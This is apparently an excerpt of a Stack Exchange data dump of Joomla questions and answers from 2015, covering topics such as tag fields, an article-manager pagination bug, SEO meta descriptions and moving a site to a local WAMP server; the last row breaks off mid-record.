  <row Id="14490" PostTypeId="2" ParentId="14487" CreationDate="2015-11-30T14:16:00.597" Score="0" Body="&lt;p&gt;You can use the &lt;strong&gt;&lt;a href=&quot;https://docs.joomla.org/Tag_form_field_type&quot; rel=&quot;nofollow&quot;&gt;Tag form field&lt;/a&gt;&lt;/strong&gt; type. This field type is available in Joomla 3.1 and newer, and works basically like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field name=&quot;tags&quot; type=&quot;tag&quot; label=&quot;JTAG&quot; description=&quot;JTAG_DESC&quot; mode=&quot;ajax&quot; class=&quot;inputbox span12 small&quot; multiple=&quot;true&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note that &lt;code&gt;mode=&quot;ajax&quot;&lt;/code&gt; is required in order to allow on-the-fly tag creation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More information on using tags in your extension can be found &lt;a href=&quot;https://docs.joomla.org/J3.x:Using_Tags_in_an_Extension&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2015-11-30T14:16:00.597" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14491" PostTypeId="2" ParentId="14488" CreationDate="2015-11-30T14:21:36.307" Score="1" Body="&lt;p&gt;If you want to send yourself an email telling you that a user wishes to unsubscribe, you can simply make this your link:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;mailto:example@example.com?subject=Unsubscribe me&amp;amp;body=I want to unsubscribe from your emails&quot; target=&quot;_blank&quot;&amp;gt;Unsubscribe&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will open a pre-populated email for the user. Once you received it, you can then manually go into the Joomla backend and delete their email from the mailing list.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want it done automatically, then you most likely want to use a plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2015-11-30T14:21:36.307" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="14492" PostTypeId="1" AcceptedAnswerId="14501" CreationDate="2015-11-30T19:41:44.910" Score="3" ViewCount="508" Body="&lt;p&gt;I am getting a weird issue on site I 'm setting up on Joomla 3.4.5. When in &lt;strong&gt;article manager&lt;/strong&gt; trying to go the next page (so to show the next bunch of 20 articles), it shows no articles and a message &amp;quot;&lt;strong&gt;No matching results&lt;/strong&gt;&amp;quot;.&lt;/p&gt;&#xA;&lt;p&gt;I am only able to see the articles in the first page &lt;strong&gt;(Limit 0,20)&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;If I set the limit to a higher number, it shows all the articles requested.&lt;/p&gt;&#xA;&lt;p&gt;So now I m trying to figure out what's going on here... is it a bug, or is it something on my setup?&lt;br /&gt;&#xA;So to start has anyone experienced this same issue?&lt;/p&gt;&#xA;&lt;h1&gt;Updated info&lt;/h1&gt;&#xA;&lt;p&gt;I have cleared caches and cookies but this is not the case.&#xA;Other users from their browsers are having it too.&lt;/p&gt;&#xA;&lt;p&gt;Actually the SQL query (debug on) when running directly in the db is returning the next bunch of items e.g. &lt;code&gt;**(LIMIT 20,20)**&lt;/code&gt;, but in the &lt;strong&gt;&lt;code&gt;com_content articles default.php template file&lt;/code&gt;&lt;/strong&gt; the &lt;strong&gt;&lt;code&gt;$this-&amp;gt;items&lt;/code&gt;&lt;/strong&gt; for that query is empty.&lt;/p&gt;&#xA;&lt;p&gt;I have also disabled 3rd party plugins that could possible interfere (e.g. Falang plugins)... but still I have not come to a conclusion.&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2016-06-28T13:48:01.160" Title="Article Manager: &quot;No Matching Results&quot; when navigating in pagination after page 1 - Joomla 3.4.5" Tags="|joomla-3.4|administrator|com-content|article-manager|bugs|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14493" PostTypeId="2" ParentId="14492" CreationDate="2015-11-30T23:22:28.647" Score="1" Body="&lt;p&gt;logout, Clear your cookies, to clear your session, and then login again - it seems you might have some other session filter saved somewhere in your session which is causing an invalid SQL query.&lt;/p&gt;&#xA;" OwnerDisplayName="user239" LastActivityDate="2015-11-30T23:22:28.647" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14494" PostTypeId="2" ParentId="14487" CreationDate="2015-11-30T23:26:13.993" Score="2" Body="&lt;p&gt;To save me repeating it all here, I'll link to this helpful article that explains it step by step:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://magazine.joomla.org/issues/issue-apr-2103/item/1225-joomla-tag-field&quot; rel=&quot;nofollow&quot;&gt;http://magazine.joomla.org/issues/issue-apr-2103/item/1225-joomla-tag-field&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user239" LastActivityDate="2015-11-30T23:26:13.993" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="14495" PostTypeId="2" ParentId="12440" CreationDate="2015-11-30T23:39:35.297" Score="1" Body="&lt;p&gt;ACL is something very complex to understand, and if you do it wrong it can lock you out of your site...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I highly recommend that you purchase and install the popular ACL Manager from &lt;a href=&quot;https://www.aclmanager.net/&quot; rel=&quot;nofollow&quot;&gt;https://www.aclmanager.net/&lt;/a&gt; as this will make your life a lot easier and simplify what is a very complex subject. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Joomla's built in ACL is very powerful, but not very well presented for beginners like yourself. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Remember - always take a backup before making sweeping changes (Highly recommend Akeeba Backup: &lt;a href=&quot;https://www.akeebabackup.com/&quot; rel=&quot;nofollow&quot;&gt;https://www.akeebabackup.com/&lt;/a&gt; - hopefully you are not so much of a beginner in Joomla to never have heard of this excellent backup extension. &lt;/p&gt;&#xA;" OwnerDisplayName="user239" LastActivityDate="2015-11-30T23:39:35.297" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14496" PostTypeId="2" ParentId="14299" CreationDate="2015-11-30T23:47:22.087" Score="1" Body="&lt;p&gt;Take a copy of /index.php and call it /user_id.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;remove the last line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Execute the application.&#xA;$app-&amp;gt;execute();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and put in this line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo JFactory::getUser()-&amp;gt;id;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note that you need to be logged in to Joomla and have an active session for this to echo out your ID.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for the JPATH_BASE, well you need to ensure that the real path you are creating actually is correct, so echo it out with &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo realpath(dirname(__FILE__) . '/../..' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and ensure thats a valid path. In later (I mean secure) versions of PHP you can use the PHP &lt;code&gt;__DIR__&lt;/code&gt; constant for the folder you are in e.g.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo realpath(__DIR__ . '/../..' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This directory name does not have a trailing slash unless it is the root directory - see: &lt;a href=&quot;http://php.net/manual/en/language.constants.predefined.php&quot; rel=&quot;nofollow&quot;&gt;http://php.net/manual/en/language.constants.predefined.php&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First get this working in the root folder of Joomla, next to the index.php and then you can move it up your two folder levels if thats where you need it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You might also want to add some security somewhere.... &lt;/p&gt;&#xA;" OwnerDisplayName="user239" LastActivityDate="2015-11-30T23:47:22.087" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14497" PostTypeId="2" ParentId="14162" CreationDate="2015-11-30T23:50:08.273" Score="1" Body="&lt;p&gt;No you cannot unset the whole &lt;code&gt;$article&lt;/code&gt; object, you can only unset its properties. &lt;/p&gt;&#xA;" OwnerDisplayName="user239" LastActivityDate="2015-11-30T23:50:08.273" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14498" PostTypeId="2" ParentId="14116" CreationDate="2015-11-30T23:59:18.830" Score="2" Body="&lt;p&gt;You would not call the controller methods to activate a user as this would then set a redirect as well - you need to be calling the model. Basic PHP, not really Joomla related. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So you would first include the model&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;include_once JPATH_ADMINISTRATOR . '/components/com_users/models/user.php';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and then instantiate the object:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$usersMdl = new UsersModelUser();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;define your array of user ids to activate (as only variables can be passed by reference):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$myIds = [1, 2, 3];&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and then call the models methods:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$usersMdl-&amp;gt;activate($myIds);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;where 1,2 and 3 are the user ids you want to activate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(code tested and working in Joomla 3.4+)&lt;/p&gt;&#xA;" OwnerDisplayName="user239" LastActivityDate="2015-11-30T23:59:18.830" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14499" PostTypeId="2" ParentId="14046" CreationDate="2015-12-01T00:03:52.153" Score="2" Body="&lt;p&gt;You just need to decode the entities before passing it to the email. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$html = html_entity_decode($emailBody); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or better still &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$html = html_entity_decode($emailBody, ENT_QUOTES); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerDisplayName="user239" LastActivityDate="2015-12-01T00:03:52.153" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14500" PostTypeId="1" AcceptedAnswerId="14521" CreationDate="2015-12-01T04:29:20.740" Score="1" ViewCount="2929" Body="&lt;p&gt;I want to make a knowledge base section for my Joomla site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a good way to make it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my case :&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;I have a hyperlink text called &quot;Knowledge Base&quot;.&lt;/li&gt;&#xA;&lt;li&gt;When I click on it, it will open a new page with a list of articles (title only with linkable to its content) of every categories in one parent category.&lt;/li&gt;&#xA;&lt;li&gt;The thing is, I don't make menu item for that list of articles page in my main menu. So, I follow &lt;a href=&quot;https://www.youtube.com/watch?v=PQ9gMRlCiEQ&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt; step.&lt;/li&gt;&#xA;&lt;li&gt;But I got problem whenever I open one of the article. The list of the article always shown in the page.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;So, is there a good other solution to make knowledge base section? I don't bother to make it manually or using some extensions.&lt;/p&gt;&#xA;" OwnerUserId="7216" LastEditorUserId="159" LastEditDate="2015-12-02T20:52:56.553" LastActivityDate="2015-12-03T14:09:31.910" Title="What is the best way to make knowledge base?" Tags="|joomla-3.x|recommended-practices|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="14501" PostTypeId="2" ParentId="14492" CreationDate="2015-12-01T05:35:04.733" Score="2" Body="&lt;p&gt;I just sorted it out... and found what was causing this.&lt;/p&gt;&#xA;&lt;p&gt;The issue was caused by a bug in the &lt;a href=&quot;https://www.aclmanager.net&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;ACL Manager extension&lt;/strong&gt;&lt;/a&gt;. I had ACL Manager 2.4.4 installed and that had a bug as reported &lt;a href=&quot;https://www.aclmanager.net/blog/releases/356-acl-manager-246-released&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;, although the post mentions the bug was for Joomla 2.5, it seems it is also for Joomla 3.x.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Disabling ACL Manager System Plugin&lt;/strong&gt;, resolves the Articles Manager issue.&lt;/p&gt;&#xA;&lt;h3&gt;Update:&lt;/h3&gt;&#xA;&lt;p&gt;...or updating to latest ACL Manager (currently 2.4.7)&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2016-06-28T13:48:01.160" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14505" PostTypeId="1" CreationDate="2015-12-01T11:15:54.607" Score="-1" ViewCount="66" Body="&lt;p&gt;Is there any ecommerce extension under Joomla that has the feature to display product list in Bengali and Hindi language together with English? Suppose my product list has pen, pencil, eraser as objects. What I need is users with an option to view product list in English or Hindi or Bengali. I need human-translated product list (unlike &lt;a href=&quot;http://extensions.joomla.org/extension/gtranslate&quot; rel=&quot;nofollow&quot;&gt;Gtranslate&lt;/a&gt; which is already installed).&lt;/p&gt;&#xA;" OwnerUserId="2203" LastEditorUserId="2203" LastEditDate="2015-12-11T09:15:09.057" LastActivityDate="2015-12-11T09:15:09.057" Title="Ecommerce site that displays product list in Bengali and Hindi language as well" Tags="|e-commerce|" AnswerCount="1" CommentCount="0" ClosedDate="2015-12-02T20:50:17.667" ContentLicense="CC BY-SA 3.0" />
  <row Id="14506" PostTypeId="2" ParentId="14505" CreationDate="2015-12-01T12:27:53.503" Score="2" Body="&lt;p&gt;Joomla displays one language at a time, but allows for language switching. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The leading extension for Joomla that does ecommerce is Virtuemart - although it has a long history, intersparced with vulnerable versions, it is the most mature of the extensions in this category.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-- &lt;a href=&quot;http://www.virtuemart.net/&quot; rel=&quot;nofollow&quot;&gt;http://www.virtuemart.net/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It can be set up with a multilingual store.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First make sure Joomla 3.4.5+ &lt;a href=&quot;http://help.joomla.org/files/EN-GB_multilang_tutorial.pdf&quot; rel=&quot;nofollow&quot;&gt;multi-language setup is correct&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is also a &lt;a href=&quot;http://www.youtube.com/watch?v=gnhVVtyejPg&quot; rel=&quot;nofollow&quot;&gt;nice Multilingual Webinar on YouTube&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user239" LastActivityDate="2015-12-01T12:27:53.503" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14507" PostTypeId="1" AcceptedAnswerId="14523" CreationDate="2015-12-01T12:51:50.640" Score="5" ViewCount="952" Body="&lt;p&gt;When writing Joomla articles I tend to leave out the meta information under publishing options, but &lt;em&gt;should&lt;/em&gt; I be including it and if so, what benefit (if any) will I notice as regards page ranking?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have been reading various articles online about how Google does not use the keywords meta tag in web ranking due to misuse etc. There's a &lt;a href=&quot;https://www.youtube.com/watch?v=jK7IPbnmvVU&quot; rel=&quot;noreferrer&quot;&gt;video&lt;/a&gt; explaining this from a Google developer. I'm not sure about other search engines like Yahoo and Bing. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was under the impression that when Google scans your site for information, it no longer pulls out the keyword phrases it thinks are relevant and pairs them to user queries. Instead, there’s an intermediary step. Google interprets the data on your website, and begins to form its own conclusions about your site. (- &lt;a href=&quot;http://searchenginewatch.com/sew/how-to/2390744/are-keywords-relevant-to-seo-in-2015&quot; rel=&quot;noreferrer&quot;&gt;source&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So does this mean that I don't &lt;em&gt;necessarily&lt;/em&gt; have to fill in the meta information for each article on my website? Granted this wouldn't take long if content was sparse, but on a content heavy website this would be quite time consuming, especially if the content has already been written over a number of months.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I understand that the Meta Descriptions are probably more use, but according to the Google blog they only; &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;sometimes use the &quot;description&quot; meta tag as the text for our search&#xA;  results snippets...&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Perhaps to be sure, should I should use a third party extension to generate the meta data for me? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does the meta information effect my search results within Joomla?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is more of a general question as opposed to an issue or problem. Any input or advice is appreciated. &lt;/p&gt;&#xA;" OwnerUserId="1538" LastActivityDate="2017-04-19T09:02:57.147" Title="How Useful Are Meta Descriptions &amp; Keywords" Tags="|joomla-3.4|seo|search|performance|metadata|" AnswerCount="5" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14508" PostTypeId="2" ParentId="14507" CreationDate="2015-12-01T13:19:01.643" Score="3" Body="&lt;p&gt;If you're on a content heavy site (continuously updating), then filling in the meta data for each article wouldn't not be as important, as the search engines will use the global meta data, however if you do have time to fill them fields in, I'd recommend doing so.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The meta data used in each article can be helpful though, because if a search engine detects more detailed information about the specific page, it's more likely to use this, rather than a generic description of your site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'll give you an example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's say you have a Joomla Tutorial website. You include some meta keywords such, for example:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;joomla&lt;/li&gt;&#xA;&lt;li&gt;tutorials&lt;/li&gt;&#xA;&lt;li&gt;css&lt;/li&gt;&#xA;&lt;li&gt;html&lt;/li&gt;&#xA;&lt;li&gt;mvc&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;You then set your meta description to something like:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;In-depth Joomla tutorials for for skill sets&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You then create a tutorial article that shows users how to create a &quot;hello world&quot; module.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you specify the meta data for this article, users are more likely to find a link to this tutorial if they type in Google:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;How to create a blank Joomla module?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Else, they'll most likely provide links for JED, Joomla Docs, and other sites&lt;/p&gt;&#xA;" OwnerUserId="168" LastEditorUserId="168" LastEditDate="2015-12-02T08:32:00.707" LastActivityDate="2015-12-02T08:32:00.707" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="14509" PostTypeId="1" CreationDate="2015-12-01T13:32:17.433" Score="1" ViewCount="3165" Body="&lt;p&gt;I have a joomla 2.5 site, and I want to upgrade it to joomla 3.x, but before I want to import my joola 2.5 site on my local server (wamp) to make some modifications (change the template and other stuff...) &#xA;Where I am now : &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I saved my site's files with Filezilla, and put the file in my www file in wamp.&lt;/li&gt;&#xA;&lt;li&gt;I saved my database from the server.&lt;/li&gt;&#xA;&lt;li&gt;I have downloaded the latest version of joomla, and put the file in the www file too.&lt;/li&gt;&#xA;&lt;li&gt;I created a new database with phpMyAdmin, and import my database previously saved into it.&lt;/li&gt;&#xA;&lt;li&gt;I have installed this joomla on my wamp localhost and specify the database I created previously.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Now, of course, the joomla site i got is empty, and i want to retrive my site with the files I saved with filezilla and here I don't know how to do that.&#xA;Or, and it's quite possible, I really don't understand how import my joomla site in my local server and all the things above are wrong...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you &lt;/p&gt;&#xA;" OwnerUserId="7355" LastEditorUserId="7355" LastEditDate="2015-12-01T13:37:23.830" LastActivityDate="2015-12-31T14:19:35.493" Title="How to import a site in my localhost" Tags="|joomla-3.x|localhost|backups|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14510" PostTypeId="2" ParentId="14507" CreationDate="2015-12-01T13:59:23.367" Score="1" Body="&lt;p&gt;No major search engines use the meta keywords or categories at all. Don't waste your time. We moved on from these sort of things years and years ago.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Yes, meta descriptions are important as search engines use them for the intro text for each page. If there is no meta description search engines will use the first paragraph to populate the description. However major search engines handle descriptions in a number of ways which can increase click-throughs on your links if you know how to utilise it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your page covers a range of aspects about a topic, and you ensure that you include well ranking search terms in each paragraph, then this can be helpful in providing the search engines with a more targeted description to offer their viewers. A search engine will highlight the text surrounding the search keyword to create a  description that it displays to the searcher. This increases the relevancy, and the likelihood of your link being clicked on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So &quot;to write&quot; or &quot;not to write&quot; a description for each page?&#xA;In general if your 25 words doesn't describe what the page is about then I'd suggest that it is worth taking the time to write a clear meta description. When I am optimising page with largely static text I create a succinct description of what that page covers because the first paragraph can be less succinct and contain more detail than needed in the description.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The clearer they are about what the content of the page is, the better for the user, and the search engines will be your friend.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also include opengraph meta information so that social shares will link your data correctly with the correct image and description.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But while important, a meta description isn't much use if it is never seen. Getting your links to rank well usually requires a lot more than writing a good title and description.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Quality SEO is all about quality unique content, good site structure and design, and a first class user experience. This means that you develop your site for your intended audience, you title your pages succinctly and precisely, you lay it out so it is easy to read and to interact with (ie. judicious use of headings and paragraphs) and it should be coded efficiently (in text) without using tricks or gimmicks without hidden links or old black hat techniques. Good copy writing is a major key to good search engine positioning, and good customer conversion. If you're going to spend money on SEO - this is the first place to spend it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Work on your social integration and social media strategy to create a quality social presence (one that is value and relevant to your audience) and engage your audience regularly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Pay particular attention to on-page semantics (tagging images, using rel tags and link descriptions).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And optimise your site performance.&#xA;Loading speed is very important for achieving quality positioning in search engines, especially for mobile delivery. Reduce images to the appropriate sizes, compress them to the smallest size without losing visual quality. Remove duplicate scripts, keep your stylesheets tidy and pared down, and minimise these files. Use compression and caching and where possible use offsite repository for files - if your site is image heavy, use a CDN. And where possible, setup a mobile version of your site which is tailored to mobile interaction, and which serves images sized and optimised for mobile delivery, and is minimised for mobile.&lt;/p&gt;&#xA;" OwnerUserId="4047" LastEditorUserId="4047" LastEditDate="2015-12-03T03:06:10.537" LastActivityDate="2015-12-03T03:06:10.537" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14511" PostTypeId="1" AcceptedAnswerId="14514" CreationDate="2015-12-01T14:05:31.547" Score="-1" ViewCount="63" Body="&lt;p&gt;Firstly this is not for a webshop, but it is for a page for our product.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The requirement for the joomla extension is that calculates a price based on how many users, customers our client wants and which add-ons the client wants.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So our client should see a calculation like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3 users $x pr. month&lt;/p&gt;&#xA;&#xA;&lt;p&gt;n additional users n times $y pr. month&lt;/p&gt;&#xA;&#xA;&lt;p&gt;m each additional 100 customers m times $z pr. month&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This gives a total pr. month&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then there are setup (once only) fees&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Credit card payment setup $y&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And then at the bottom a total for the first year(!) which includes the once only fees and a total for following years (without the once only fees).&lt;/p&gt;&#xA;" OwnerUserId="7356" LastActivityDate="2015-12-01T14:10:23.507" Title="Looking for an extension to calculate price based on product configuration" Tags="|extensions|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14512" PostTypeId="2" ParentId="14507" CreationDate="2015-12-01T14:07:08.103" Score="6" Body="&lt;p&gt;There are specific tags that Google understands and does use - these are documented on the google website here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-- &lt;a href=&quot;https://support.google.com/webmasters/answer/79812?hl=en&quot;&gt;https://support.google.com/webmasters/answer/79812?hl=en&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;[The description] tag provides a short description of the page. In&#xA;  some situations this description is used as a part of the snippet&#xA;  shown in the search results.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So the other answer was wrong - google clearly state they use the description tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Furthermore if you read this page: &lt;a href=&quot;https://support.google.com/webmasters/answer/35624?rd=1&quot;&gt;https://support.google.com/webmasters/answer/35624?rd=1&lt;/a&gt; you will see that there is a whole section entitled &quot;&lt;strong&gt;Create good meta descriptions&lt;/strong&gt;&quot;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;This is not an exclusive list of available meta tags, and you should&#xA;  feel free to use unlisted meta tags if they are important to your&#xA;  site. Just remember that Google will ignore meta tags it doesn't know.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerDisplayName="user239" LastActivityDate="2015-12-01T14:07:08.103" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="14513" PostTypeId="2" ParentId="14509" CreationDate="2015-12-01T14:09:40.650" Score="2" Body="&lt;p&gt;First of all, you don't need to download the latest version of Joomla, because the files you download from your original site already has everything you need.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Akeeba Backup is a better way to move/restore a site, but as you say you don't have full admin access, it's not an option. You'll probably have to get full admin access eventually, but &lt;a href=&quot;https://joomla.stackexchange.com/questions/4462/how-reset-password-for-admin-after-migration-from-1-5&quot;&gt;that's not very difficult&lt;/a&gt; if you have access to the files and to the database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In order to restore your site, there are a couple of things to keep in mind:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Make sure you have downloaded all the files from the server&lt;/li&gt;&#xA;&lt;li&gt;Place the downloaded files in a subfolder of your &lt;code&gt;www&lt;/code&gt; folder, e.g. &lt;code&gt;c:\wamp\www\joomla&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Download the complete database, and restore it to your localhost&lt;/li&gt;&#xA;&lt;li&gt;Rename the file &lt;code&gt;.htaccess&lt;/code&gt; (if present) to something else. It might cause problems if not properly configured.&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Open &lt;code&gt;configuration.php&lt;/code&gt;, and change the following lines to connect to your database:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public $host = 'localhost';&#xA;public $user = 'root';&#xA;public $password = '';&#xA;public $db = 'YOURDATABASENAME';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;(On Wamp, the user is root, and the password is empty unless you've made changes to the default configuration)&lt;/em&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Still in &lt;code&gt;configuration.php&lt;/code&gt;, set the &lt;code&gt;tmp&lt;/code&gt; and &lt;code&gt;log&lt;/code&gt; folder:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public $log_path = 'C:\\wamp\\www\\YOURFOLDER/logs';&#xA;public $tmp_path = 'C:\\wamp\\www\\YOURFOLDER/tmp';&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Finally, make sure &lt;code&gt;$sef_rewrite&lt;/code&gt; is set to &lt;code&gt;0&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public $sef_rewrite = '0';&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Save, and you should be able to visit your Joomla site by entering &lt;code&gt;http://localhost/YOURFOLDER&lt;/code&gt; in your browser.&lt;/p&gt;&#xA;" OwnerUserId="1629" LastEditorUserId="-1" 